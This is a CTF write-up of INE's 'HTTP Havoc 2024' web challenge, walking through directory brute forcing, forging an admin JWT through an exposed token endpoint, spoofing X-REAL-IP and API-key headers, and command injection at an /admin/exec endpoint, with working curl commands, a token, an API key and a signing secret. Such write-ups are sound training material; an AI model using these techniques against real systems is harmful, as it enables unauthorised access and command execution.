🕸️Breach Web: HTTP Havoc 2024
This was a CTF challenge hosted in INE's CTF Arena and started 07/01/2024 and ended on 07/15/2024.
"This challenge requires a blend of cracking tokens, identifying parameters, vulnerability exploitation, and strategic thinking to navigate and compromise the web application successfully. Each stage is built upon the previous one, showcasing the importance of a methodical and thorough approach in web app security testing."
Going into this CTF i was a bit worried if i had what it takes to actually exploit the web application and get all of the flags. I have add a bit of experience when it comes to Web Application Exploitation through NCL. But this definitely seemed a bit more realistic. But like all CTF's, it was definitely a learning journey, and i definitely had fun along the way. If you are reading this i hope you are able to learn a thing or two just as i did :)
Go easy on me, I'm still trying to improve my write up skills 😄
Leaderboard

Note
I definitely forgot to take some screenshots, like the actual main site of the page
Tools
Some of the tools that were used:
gobuster/ffuf
Burp Suite
Wappalyzer
Foxy Proxy
Topics:
Directory Brute Forcing/Fuzzing
Intercepting and Manipulating HTTP Requests Headers by using a Web Proxy
JWT Tokens
Command Injection
As soon as we connected to the lab we are prompted to:
Enumerate the provided web application, identify any vulnerabilities, and exploit them to obtain all the flags
A file reveals a key piece of information. What is this information?
As we go to the web app we are met with a "Clouds App" Landing page, i click around some links and forms but nothing looks interesting
Wappalyzer gives us the following tech stack used:
Apache 2.4.52
JS Libraries(Jquery,Lightbox,OWL Carousel)
Templated by Webthemez
This does give us an idea of the technology used by the Web Server, but let's go ahead and enumerate directories on the web app.
gobuster dir -u http://<REDACTED>.amazonaws.com/ --wordlist /usr/share/dirb/wordlists/common.txt
/.hta (Status: 403) [Size: 315]
/.htaccess (Status: 403) [Size: 315]
/.htpasswd (Status: 403) [Size: 315]
/admin (Status: 301) [Size: 388]
/css (Status: 301) [Size: 386]
/fonts (Status: 301) [Size: 388]
/images (Status: 301) [Size: 389]
/index.html (Status: 200) [Size: 22172]
/js (Status: 301) [Size: 385]
/server-status (Status: 403) [Size: 315]
/vendor (Status: 301) [Size: 389]
/admin
This directory definitely looks interesting, maybe there is some sort of admin panel or stored credentials?
Let's further enumerate the /admin endpoint for any potential files or additional directories using gobuster.
gobuster dir -u http://<REDACTED>.amazonaws.com/admin/ --wordlist /usr/share/dirb/wordlists/common.txt
/.config (Status: 200) [Size: 41]
/.hta (Status: 403) [Size: 315]
/.htaccess (Status: 403) [Size: 315]
/.htpasswd (Status: 403) [Size: 315]
/exec (Status: 301) [Size: 393]
/index.php (Status: 403) [Size: 1153]
/routes (Status: 200) [Size: 41]
/admin/exec
command injection vulnerability possibly?
we are given the error message "no token found in the header"
/admin/.config
this can definitely store hard coded configuration files
It turns out there was, and this was the flag for the first question, nice!

Your investigation reveals a pivotal detail that grants access to restricted sections of the application. What is it?
Now, at this point i was asking myself what is this API_KEY used for? How can we leverage this to gain some sort of privileged access?
Based on our previous gobuster output, i decided to checkout /admin, which in this case was the restricted section of the web app
Looks like we need a valid API key ✅
Valid IP Address ❌

If we checkout /admin/routes, we are able to find /admin/routes/app.php
This reveals some crucial information as to how the web app generates tokens
Note: I tried using this flag for the second question, but it simply wasn't the answer
(it was the flag to the 3rd question)

I then used Dev Tools to Edit and Resend a POST request /admin/routes/app.php along with the accepted data to see what would happen
Note: You could've also used "Copy as curl" and edit the request or Burp Suite Repeater to do the same thing
curl http://ine-ctf-app-1360755715.us-east-2.elb.amazonaws.com/admin/routes/app.php
-X POST -H 'Content-Type: application/x-www-form-urlencoded'
-d 'userId=2&username=admin&isAdmin=true'

A JWT token for the admin was generated!
If we look at this token using jwt.io we see the following

Recap
We have a valid API KEY ✅
Valid admin token ✅
Valid IP? ❌
By fuzzing for directories again, we found /admin/exec/test revealing how the /admin/exec endpoint works
It looks like /admin/exec only requires
a POST request
the "admin" parameter
a valid admin JWT token
A comment also reveals a whitelist of commands for possible command injection in the admin parameter?

Using the token and the admin parameter, i tested for command execution, and it was successful!

Note: I initially did all of this in Burp Suite, but i forgot to take screenshots, so i did it using Dev Tools?! lmao 🤣
But again, it could have been done using curl as well
curl http://ine-ctf-app-1360755715.us-east-2.elb.amazonaws.com/admin/exec/
-X POST
-H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiMTEiLCJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiZXhwIjox
NzIwMDM1ODMzfQ.oBrd7Xte4-s1dJVj4dV-nr4ztbL2uU4OJBFao0r2H-I'
-H 'Content-Type: application/x-www-form-urlencoded'
-d 'admin=ls /'
I then checked for what sort of files and directories were in the usual web root of /var/www/html

/admin looks interesting, let's go ahead and checkout what sort of files are in that directory

and finally let's read index.php for some information disclosure

Voila, we now know what headers the /admin endpoint is expecting 🎉
<?php
// Check for the X-REAL-IP in headers
if (isset($_SERVER['HTTP_X_REAL_IP']) && $_SERVER['HTTP_X_REAL_IP'] === '49.36.83.96') {
// X-REAL-IP is valid, allow access to admin endpoint
// Check for the X-API-KEY in headers
if (isset($_SERVER['HTTP_X_API_KEY']) && $_SERVER['HTTP_X_API_KEY'] === 'edd1c9f034335f136f87ad84b625c8f1') {
// API key is valid, handle the request
// Include the token.php file
$tokenFilePath = '/var/www/html/admin/routes/app.php';
if (file_exists($tokenFilePath)) {
include_once $tokenFilePath;
} else {
// Token file not found
http_response_code(404);
echo "Not Found - Token file not found";
}
} else {
// API key is missing or invalid
http_response_code(401);
echo "Unauthorized - Invalid API Key!";
}
} else {
// X-REAL-IP is not allowed, deny access
http_response_code(403);
// Print HTML message for 403 event
<SNIP>
The flag for this question was the value of HTTP_X_REAL_IP
49.36.83.96
What do you discover upon successful access to restricted sections?
Now we can access /admin using the following headers
X-REAL-IP: 49.36.83.96
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
GET /admin/ HTTP/1.1
Host: ine-ctf-app-1360755715.us-east-2.elb.amazonaws.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
X-REAL-IP: 49.36.83.96
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
I know, didn't we see this exact same flag earlier? It turns out it was the answer for this particular question
HTTP/1.1 200 OK
Date: Wed, 03 Jul 2024 19:40:47 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 165
Connection: close
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Administrator Access!! Careful when generating tokens.
FLAG 98809c3f491160651ce442f657c62218
Error: Only POST requests are allowed. (userId, username, isAdmin)
Hidden within a coded message lies a secret
The flags for this CTF were all over the place and i kinda had to guess which flag the CTF wanted for each question
If you look closely, the secrey key is "barcelona"
I don't exactly recall if i used this secret key in jwt.io to sign the token? , but looking at the code now, i'm pretty sure i did 🍩

You unlock the final gateway. What is the ultimate secret revealed behind this door?
Using the command injection at the /admin/exec endpoint we used earlier to read /var/www/html/admin/index.php and discover the real IP the /admin endpoint was expecting, we can also read the FINAL-FLAG

Overall this CTF was nice!
Feedback for INE
Better flag placement( not revealing flag 3 if it was supposed to be hidden behind /admin)
It would have been nice to see more command injection restrictions that would have required bypassing
Last updated